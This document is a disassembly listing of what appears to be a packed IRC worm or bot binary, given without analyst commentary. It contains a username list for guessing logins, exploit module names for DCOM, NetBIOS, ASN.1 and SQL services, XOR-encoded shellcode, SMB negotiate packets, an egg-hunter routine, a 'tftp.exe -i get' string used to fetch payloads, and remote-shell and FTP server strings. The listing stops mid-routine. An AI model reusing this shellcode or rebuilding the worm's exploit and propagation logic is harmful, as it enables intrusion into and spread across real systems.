aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .XPack0:0043035Co
align 4
aBergson db 'Bergson',0 ; DATA XREF: .XPack0:00430358o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .XPack0:00430354o
align 4
aBelloc db 'Belloc',0 ; DATA XREF: .XPack0:00430350o
align 4
aBellini db 'Bellini',0 ; DATA XREF: .XPack0:0043034Co
aBellhouse db 'Bellhouse',0 ; DATA XREF: .XPack0:00430348o
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: .XPack0:00430344o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .XPack0:00430340o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: .XPack0:0043033Co
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .XPack0:00430338o
align 4
aBelanger db 'Belanger',0 ; DATA XREF: .XPack0:00430334o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: .XPack0:00430330o
aBedford db 'Bedford',0 ; DATA XREF: .XPack0:0043032Co
aBeder db 'Beder',0 ; DATA XREF: .XPack0:00430328o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: .XPack0:00430324o
aBean db 'Bean',0 ; DATA XREF: .XPack0:00430320o
align 4
aBeal db 'Beal',0 ; DATA XREF: .XPack0:0043031Co
align 4
aBeacon db 'Beacon',0 ; DATA XREF: .XPack0:00430318o
align 4
aBayo db 'Bayo',0 ; DATA XREF: .XPack0:00430314o
align 4
aBayles db 'Bayles',0 ; DATA XREF: .XPack0:00430310o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: .XPack0:0043030Co
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: .XPack0:00430308o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .XPack0:00430304o
align 10h
aBasavappa db 'Basavappa',0 ; DATA XREF: .XPack0:00430300o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: .XPack0:004302FCo
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: .XPack0:004302F8o
align 10h
aBartholomew db 'Bartholomew',0 ; DATA XREF: .XPack0:004302F4o
aBarry db 'Barry',0 ; DATA XREF: .XPack0:004302F0o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: .XPack0:004302ECo
align 10h
aBarnett db 'Barnett',0 ; DATA XREF: .XPack0:004302E8o
aBarneson db 'Barneson',0 ; DATA XREF: .XPack0:004302E4o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: .XPack0:004302E0o
align 10h
aBarberi db 'Barberi',0 ; DATA XREF: .XPack0:004302DCo
aBaranowska db 'Baranowska',0 ; DATA XREF: .XPack0:004302D8o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: .XPack0:004302D4o
align 10h
aBarajas db 'Barajas',0 ; DATA XREF: .XPack0:004302D0o
aBarabesi db 'Barabesi',0 ; DATA XREF: .XPack0:004302CCo
align 4
aBanta db 'Banta',0 ; DATA XREF: .XPack0:004302C8o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: .XPack0:004302C4o
align 4
aBallew db 'Ballew',0 ; DATA XREF: .XPack0:004302C0o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: .XPack0:004302BCo
align 4
aBaleja db 'Baleja',0 ; DATA XREF: .XPack0:004302B8o
align 10h
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .XPack0:004302B4o
align 4
aBailar db 'Bailar',0 ; DATA XREF: .XPack0:004302B0o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: .XPack0:004302ACo
aBaglivo db 'Baglivo',0 ; DATA XREF: .XPack0:004302A8o
aBady db 'Bady',0 ; DATA XREF: .XPack0:004302A4o
align 4
aBackus db 'Backus',0 ; DATA XREF: .XPack0:004302A0o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .XPack0:0043029Co
align 10h
aAzima db 'Azima',0 ; DATA XREF: .XPack0:00430298o
align 4
aAyling db 'Ayling',0 ; DATA XREF: .XPack0:00430294o
align 10h
aAykroyd db 'Aykroyd',0 ; DATA XREF: .XPack0:00430290o
aAyiemba db 'Ayiemba',0 ; DATA XREF: .XPack0:0043028Co
aAxworthy db 'Axworthy',0 ; DATA XREF: .XPack0:00430288o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: .XPack0:00430284o
aAurelius db 'Aurelius',0 ; DATA XREF: .XPack0:00430280o
align 10h
aAugustus db 'Augustus',0 ; DATA XREF: .XPack0:0043027Co
align 4
aAtkins db 'Atkins',0 ; DATA XREF: .XPack0:00430278o
align 4
aArky db 'Arky',0 ; DATA XREF: .XPack0:00430274o
align 4
aArjas db 'Arjas',0 ; DATA XREF: .XPack0:00430270o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .XPack0:0043026Co
align 10h
aArellano db 'Arellano',0 ; DATA XREF: .XPack0:00430268o
align 4
aArduini db 'Arduini',0 ; DATA XREF: .XPack0:00430264o
aArbia db 'Arbia',0 ; DATA XREF: .XPack0:00430260o
align 4
aAntos db 'Antos',0 ; DATA XREF: .XPack0:0043025Co
align 4
aAnthony db 'Anthony',0 ; DATA XREF: .XPack0:00430258o
aAnsley db 'Ansley',0 ; DATA XREF: .XPack0:00430254o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .XPack0:00430250o
align 10h
aAndron db 'Andron',0 ; DATA XREF: .XPack0:0043024Co
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: .XPack0:00430248o
align 4
aAndo db 'Ando',0 ; DATA XREF: .XPack0:00430244o
align 4
aAndel db 'Andel',0 ; DATA XREF: .XPack0:00430240o
align 4
aAnand db 'Anand',0 ; DATA XREF: .XPack0:0043023Co
align 4
aAmsden db 'Amsden',0 ; DATA XREF: .XPack0:00430238o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: .XPack0:00430234o
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .XPack0:00430230o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: .XPack0:0043022Co
align 10h
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .XPack0:00430228o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: .XPack0:00430224o
aAltavilla db 'Altavilla',0 ; DATA XREF: .XPack0:00430220o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: .XPack0:0043021Co
align 4
aAllison db 'Allison',0 ; DATA XREF: .XPack0:00430218o
aAleks db 'Aleks',0 ; DATA XREF: .XPack0:00430214o
align 4
aAlda db 'Alda',0 ; DATA XREF: .XPack0:00430210o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: .XPack0:0043020Co
align 4
aAlavi db 'Alavi',0 ; DATA XREF: .XPack0:00430208o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: .XPack0:00430204o
align 4
aAdorno db 'Adorno',0 ; DATA XREF: .XPack0:00430200o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: .XPack0:004301FCo
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: .XPack0:004301F8o
align 4
aAddison db 'Addison',0 ; DATA XREF: .XPack0:004301F4o
aAdams db 'Adams',0 ; DATA XREF: .XPack0:004301F0o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: .XPack0:004301ECo
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .XPack0:off_4301E8o
align 10h
aPc db 'PC',0 ; DATA XREF: .XPack0:0040AAB2o
align 4
aS_3 db '%s|',0 ; DATA XREF: .XPack0:0040AB33o
aS_4 db '[%s]|',0 ; DATA XREF: .XPack0:0040AC3Do
align 10h
a??? db '???',0 ; DATA XREF: .XPack0:loc_40AC34o
; sub_41B0A1:loc_41B164o
a2k3 db '2K3',0 ; DATA XREF: .XPack0:0040AC2Do
aXp_0 db 'XP',0 ; DATA XREF: .XPack0:0040AC1Fo
; .XPack0:0040AE29o ...
align 4
a2k db '2K',0 ; DATA XREF: .XPack0:0040AC0Fo
; .XPack0:0040AE19o ...
align 10h
aMe_0 db 'ME',0 ; DATA XREF: .XPack0:0040ABF6o
; .XPack0:0040AE00o ...
align 4
a98 db '98',0 ; DATA XREF: .XPack0:0040ABE6o
; .XPack0:0040ADF0o ...
align 4
aNt_0 db 'NT',0 ; DATA XREF: .XPack0:0040ABD6o
; .XPack0:0040ADE1o ...
align 4
a95 db '95',0 ; DATA XREF: .XPack0:0040ABC8o
; .XPack0:0040ADD3o ...
align 10h
aDS db '[%d]%s',0 ; DATA XREF: sub_40AC83+3Ao
align 4
aM_0 db '[M]',0 ; DATA XREF: sub_40AC83+2Co
; sub_40AC83+51o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AC83+18o
; sub_41889C+5o
align 4
aSSSS db '[%s]%s|%s|%s|',0 ; DATA XREF: .XPack0:0040AF76o
align 4
a99 db '99',0 ; DATA XREF: .XPack0:loc_40AF38o
align 4
a0D db '0%d',0 ; DATA XREF: .XPack0:0040AF12o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: .XPack0:0040AEF4o
; sub_41AF01+39o
off_433EA8 dd offset byte_4B4E55 ; DATA XREF: .XPack0:0040AED7o
dword_433EAC dd 345053h dword_433EB0 dd 34h dword_433EB4 dd 335053h dword_433EB8 dd 33h dword_433EBC dd 325053h dword_433EC0 dd 32h
; =============== S U B R O U T I N E =======================================
sub_433EC4 proc near ; DATA XREF: .XPack0:0040AE78o
push ebx
push eax
xor [eax], eax
sub_433EC4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_433EC8 dd 305053h dword_433ECC dd 4E55h dword_433ED0 dd 3332h, 0 ; ---------------------------------------------------------------------------
loc_433ED8: ; DATA XREF: sub_40B153+BEo
jmp short loc_433EDC
; ---------------------------------------------------------------------------
loc_433EDA: ; CODE XREF: .XPack0:loc_433EDCp
jmp short loc_433EE1
; ---------------------------------------------------------------------------
loc_433EDC: ; CODE XREF: .XPack0:loc_433ED8j
call loc_433EDA
loc_433EE1: ; CODE XREF: .XPack0:loc_433EDAj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_433EE6 dw 0FFFFh ; DATA XREF: sub_40B153+C6w
db 80h, 73h, 0Eh
byte_433EEB db 0FFh ; DATA XREF: sub_40B153+CDw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_433EF0: ; DATA XREF: sub_40B153+9Co
jmp short loc_433EF4
; ---------------------------------------------------------------------------
loc_433EF2: ; CODE XREF: .XPack0:loc_433EF4p
jmp short loc_433EF9
; ---------------------------------------------------------------------------
loc_433EF4: ; CODE XREF: .XPack0:loc_433EF0j
call loc_433EF2
loc_433EF9: ; CODE XREF: .XPack0:loc_433EF2j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_433EFD db 0FFh ; DATA XREF: sub_40B153+A4w
dw 7380h
db 0Ch
byte_433F01 db 0FFh ; DATA XREF: sub_40B153+AAw
dw 0E243h
dd 0F9h
dword_433F08 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40AFDC+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_433F6C dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40AFDC+79o
aJ_0 db 'j',0
db 0E8h
dword_433F85 dd 17h ; ---------------------------------------------------------------------------
jnz short near ptr byte_433F8C
retn
; ---------------------------------------------------------------------------
byte_433F8C db 0E8h ; CODE XREF: .XPack0:00433F89j
dword_433F8D dd 1 byte_433F91 db 0, 6Ah, 0 ; DATA XREF: sub_40AFDC+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_433F9B dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dword_433FCC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 72680254h
; DATA XREF: sub_40B311+10o
dd 64026165h, 26C0220h, 2730269h, 200274h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B4DC+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B4DC+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40B9E3+4Fo
; sub_40C271+155o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B91D+30o
; .XPack0:0040E11Co ...
align 4
dd 5 dup(0)
dword_434058 dd 0B97h ; sub_401AA1+1D20o ...
off_43405C dd offset sub_40F0D3 ; DATA XREF: sub_40C271+1D7r
dword_434060 dd 0 ; .XPack0:0040D657r ...
dword_434064 dd 1 dword_434068 dd 1 dword_43406C dd 0 aDcom135 db 'dcom135',0
dd 63440000h, 33316D6Fh, 35h, 5 dup(0)
dd 87h, 40DE3Fh, 0
dd 1, 2 dup(0)
aNet445 db 'net445',0
align 4
dd 656E0000h, 34342D74h, 35h, 5 dup(0)
dd 1BDh, 40EF95h, 0
dd 1, 2 dup(0)
aNet139 db 'net139',0
align 4
dd 656E0000h, 33312D74h, 39h, 5 dup(0)
dd 8Bh, 40EF95h, 0
dd 1, 2 dup(0)
aAsn445 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D49Bh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D49Bh, 0
dd 2 dup(1), 0
dd 6C7173h, 0
dd 71730000h, 34312D6Ch, 3333h, 5 dup(0)
dd 599h, 40E181h, 0
dd 1, 3 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 4
db 2 dup(0)
byte_43423A db 1 ; DATA XREF: sub_401AA1:loc_403713r
; sub_401AA1+1C7Co
aDcom135_0 db 'dcom135',0
align 4
dd 71730100h, 6Ch, 0
dd 1, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_434272
; =============== S U B R O U T I N E =======================================
sub_434262 proc near ; CODE XREF: sub_434262:loc_434272p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_43426A: ; CODE XREF: sub_434262+Cj
xor byte ptr [edx+ecx], 99h
loop loc_43426A
jmp short loc_434277
; ---------------------------------------------------------------------------
loc_434272: ; CODE XREF: .XPack0:00434260j
call sub_434262
loc_434277: ; CODE XREF: sub_434262+Ej
jo short near ptr dword_4341F4+1Eh
cwde
cdq
cdq
retn
sub_434262 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
dword_4343E0 dd 54340320h, 741FF41Fh, 6C1FE21Fh, 1F3A031Fh, 6425202Dh
; DATA XREF: sub_40B790+85o
dd 34300320h, 30036E69h, 73252031h, 2Eh
dword_434404 dd 34300320h, 3A732520h, 3130032Dh, 2C642520h, 0dword_434418 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 61630253h
; DATA XREF: sub_40B790+11o
dd 3026E02h, 32C3130h, 33A3431h, 45022031h, 6C027078h
dd 7402696Fh, 74530220h, 69027461h, 69027473h, 33A7363h
dd 34h
dword_434458 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 61630253h
; DATA XREF: sub_40B85E+37o
dd 3026E02h, 32C3130h, 33A3431h, 54022031h, 6E617202h
dd 72656673h, 2530220h, 69746174h, 63697473h, 34033A73h
dd 46540220h, 3A025054h, 2C642520h, 54460220h, 203A0250h
dd 202C6425h, 1FF41F54h, 1FE21F74h, 6425206Ch, 206E6920h
dd 2E7325h
dword_4344C0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 61630253h
; DATA XREF: sub_40B8C9+21o
dd 3026E02h, 32C3130h, 33A3431h, 64252031h, 34300320h
dd 6E6E6F43h, 42746365h, 204B6361h, 6C656853h, 6920736Ch
dd 3130036Eh, 2E732520h, 0
dword_434508 dd 2B75320h, 61B70263h, 203A6EB7h, 69025402h, 33A656Dh
; DATA XREF: sub_40B91D+7Eo
dd 25203430h, 2E73h
dword_434524 dd 25370320h, 28200373h, 73253403h, 2C2903hdword_434534 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 61630253h
; DATA XREF: sub_40B91D+14o
dd 3026E02h, 32C3130h, 33A3431h, 45022031h, 6C027078h
dd 7402696Fh, 694C0220h, 2747302h, 3Ah, 0
dword_434570 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F4502h
; DATA XREF: sub_40B9E3+16Fo
dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 2203103h
dd 6E690246h, 65687369h, 45022064h, 6C707802h, 691F6F1Fh
dd 676E6974h, 25203403h, 31032073h, 20642528h, 65747461h
dd 7374706Dh, 29h
dword_4345C8 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F4502h
; DATA XREF: sub_40B9E3+80o
dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 2203103h
dd 79720254h, 3676E69h, 73252034h, 6F310320h, 2034036Eh
dd 3207325h, 6F702831h, 25207472h, 2E2E2964h, 2Eh
dword_434618 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 61630253h
; DATA XREF: sub_40BB95+42o
dd 3026E02h, 32C3130h, 33A3431h, 53022034h, 6E616302h
dd 24E0220h, 220746Fh, 74630241h, 2E657669h, 0
dword_434654 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_40BB95+2Co
dd 3026E02h, 32C3430h, 33A3431h, 43022034h, 72727502h
dd 20746E65h, 501F491Fh, 2031033Ah, 2E7325h, 0
unk_434690 db 2 ; DATA XREF: sub_40BC0C+4C5o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 34h, 91h
db 3
db 30h, 31h, 2
db 48h ; H
db 2, 2 dup(74h)
db 70h ; p
db 64h, 3, 30h
db 34h ; 4
db 2Ch, 3, 31h
db 34h ; 4
db 3Ah, 3, 34h
aFailedToSta_21 db ' Failed to start server, error: <%d>.',0
align 4
unk_4346D8 db 2 ; DATA XREF: sub_40BC0C+440o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 48h ; H
db 2, 2 dup(74h)
db 70h ; p
db 64h, 3, 30h
db 31h ; 1
db 2Ch, 3, 31h
db 34h ; 4
db 3Ah, 3, 20h
aServerListen_1 db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 4
unk_434728 db 2Dh ; - ; DATA XREF: sub_40BC0C+386o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_22 db '- Failed to start server, error: <%d>.',0
unk_434760 db 2Dh ; - ; DATA XREF: sub_40BC0C+326o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_1 db '- Server started on Port: %d.',0
align 10h
dword_434790 dd 35310302h, 25B302Ch, 91313003h, 54343003h, 54024602h
; DATA XREF: sub_40BC0C+25Fo
dd 64027002h, 2C313003h, 3A353103h, 2203103h, 69610246h
dd 2064656Ch, 26F0254h, 2745320h, 74720261h, 72655320h
dd 65027602h, 45202C72h, 72027202h, 33A726Fh, 3C203430h
dd 2E3E6425h, 0
dword_4347E8 dd 35310302h, 25B302Ch, 91313003h, 54343003h, 54024602h
; DATA XREF: sub_40BC0C+1FFo
dd 64027002h, 2C313003h, 3A353103h, 2203103h, 72650253h
dd 20726576h, 2617453h, 65740272h, 6E4F2064h, 6F025020h
dd 3A747202h, 20343003h, 202C6425h, 2460203h, 3A656C69h
dd 20343003h, 2E7325h
dword_434840 dd 35310302h, 25B302Ch, 91313003h, 54343003h, 54024602h
; DATA XREF: sub_40BC0C+137o
dd 64027002h, 2C313003h, 3A353103h, 46203103h, 2696102h
dd 6402656Ch, 6F025420h, 2745320h, 2747261h, 2655320h
dd 65027672h, 45202C72h, 2727202h, 33A726Fh, 253C2034h
dd 2E3E64h, 0
dword_434898 dd 35310302h, 25B302Ch, 91313003h, 54343003h, 54024602h
; DATA XREF: sub_40BC0C+D7o
dd 64027002h, 2C313003h, 3A353103h, 53203103h, 2726502h
dd 72026576h, 2745320h, 2747261h, 6F206465h, 50206E02h
dd 2726F02h, 34033A74h, 2C642520h, 46310320h, 26C6902h
dd 34033A65h, 2E732520h, 2 dup(0)
dword_4348F8 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_40C271+DCo
dd 3026E02h, 32C3430h, 33A3431h, 50492031h, 2034033Ah
dd 202C7325h, 50023103h, 74726F02h, 25203403h, 31032064h
dd 2207369h, 6570024Fh, 2E6Eh
dword_434940 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_40C271+84o
dd 3026E02h, 32C3430h, 33A3431h, 50492031h, 2034033Ah
dd 253A7325h, 3202C64h, 2530231h, 206E6163h, 68025402h
dd 64616572h, 2034033Ah, 202C6425h, 53023103h, 2D627502h
dd 68025402h, 64616572h, 2034033Ah, 2E6425h
dword_4349A0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_40C485+1E0o
dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6E026902h
dd 73026902h, 65026802h, 61206402h, 20310374h, 253A7325h
dd 34032064h, 66026102h, 3726574h, 64252031h, 2340320h
dd 6E69024Dh, 28657475h, 6F202973h, 53022066h, 61026302h
dd 6E1F6E02h, 6E02691Fh, 2E6702h
dword_434A10 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_40C485+168o
dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h
dd 2206465h, 206F0254h, 74025302h, 20747261h, 6F025702h
dd 72656B72h, 2540220h, 61657268h, 2202C64h, 72720245h
dd 33A726Fh, 253C2031h, 2E3E64h, 0
dword_434A70 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_40C485+103o
dd 3026E02h, 32C3430h, 33A3431h, 73252031h, 2C64253Ah
dd 2340320h, 61630253h, 5402206Eh, 65726802h, 33A6461h
dd 64252031h, 3403202Ch, 75025302h, 1F2D1F62h, 68025402h
dd 64616572h, 2031033Ah, 2E6425h, 0
dword_434AD0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F531Fh
; DATA XREF: sub_40C485+87o
dd 2610263h, 3130036Eh, 3531032Ch, 2031033Ah, 61024602h
dd 6C026902h, 64026502h, 206F7420h, 26E6902h, 2697469h
dd 2696C61h, 4320657Ah, 2697202h, 63026974h, 53206C61h
dd 2636502h, 6F026974h, 2E6Eh
aBuzshellConnec db 'BuzShell Connected!',0 ; DATA XREF: sub_40C6DC+7Fo
dword_434B40 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_40C773+92o
dd 3026E02h, 32C3430h, 33A3431h, 50492031h, 2034033Ah
dd 3207325h, 2500231h, 3A74726Fh, 25203403h, 31032064h
dd 2207369h, 6570024Fh, 2E6Eh
dword_434B88 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_40C840+41o
dd 3026E02h, 32C3430h, 33A3431h, 53022031h, 6E616302h
dd 676E696Eh, 3A504920h, 25203403h, 3202C73h, 2500231h
dd 272026Fh, 34033A74h, 2E642520h, 2 dup(0)
dword_434BD8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F0250h
; DATA XREF: sub_40C931+D1o
dd 274721Fh, 631F0253h, 6E02611Fh, 31300302h, 3431032Ch
dd 2031033Ah, 69024602h, 6873696Eh, 2206465h, 61630253h
dd 6E696E6Eh, 50492067h, 2034033Ah, 2E7325h, 0
dword_434C28 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F0250h
; DATA XREF: sub_40C931+41o
dd 274721Fh, 631F0253h, 6E02611Fh, 31300302h, 3431032Ch
dd 2031033Ah, 2530220h, 6E026163h, 1F6E1F02h, 26E0269h
dd 50492067h, 2034033Ah, 202C7325h, 50023103h, 72026F02h
dd 33A7402h, 64252034h, 2Eh, 0
byte_434C88 db 90h ; DATA XREF: sub_40CCAA+B2o
db 42h, 90h, 42h
db 90h
dd offset dword_429040+2
align 4
dword_434C94 dd 10FF8h, 0 dword_434C9C dd 10FF8h dword_434CA0 dd 7FFDF020h, 0 dword_434CA8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_434D30 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_434D60 dd 0 dd 800000D4h, 2 dup(0)
unk_434D70 db 81h ; ; DATA XREF: sub_40D1A3+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_434DC0 db 41h ; DATA XREF: sub_40D241+108r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 8
; =============== S U B R O U T I N E =======================================
sub_434E08 proc near ; DATA XREF: .XPack0:0040D51Do
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_434F04
push dword ptr [esi]
push 63D61209h
call sub_434F1A
mov [esi+8], eax
call sub_434ECD
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_434F1A
mov [esi+0Ch], eax
call sub_434E7F
push dword ptr [esi+4]
push 4C0297FAh
call sub_434F1A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_434E08 endp
; =============== S U B R O U T I N E =======================================
sub_434E7F proc near ; CODE XREF: sub_434E08+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_434EA8
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_434E7F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_434EA8 proc near ; CODE XREF: sub_434E7F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_434EB7: ; CODE XREF: sub_434EA8+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_434EC4
inc ebx
jmp short loc_434EB7
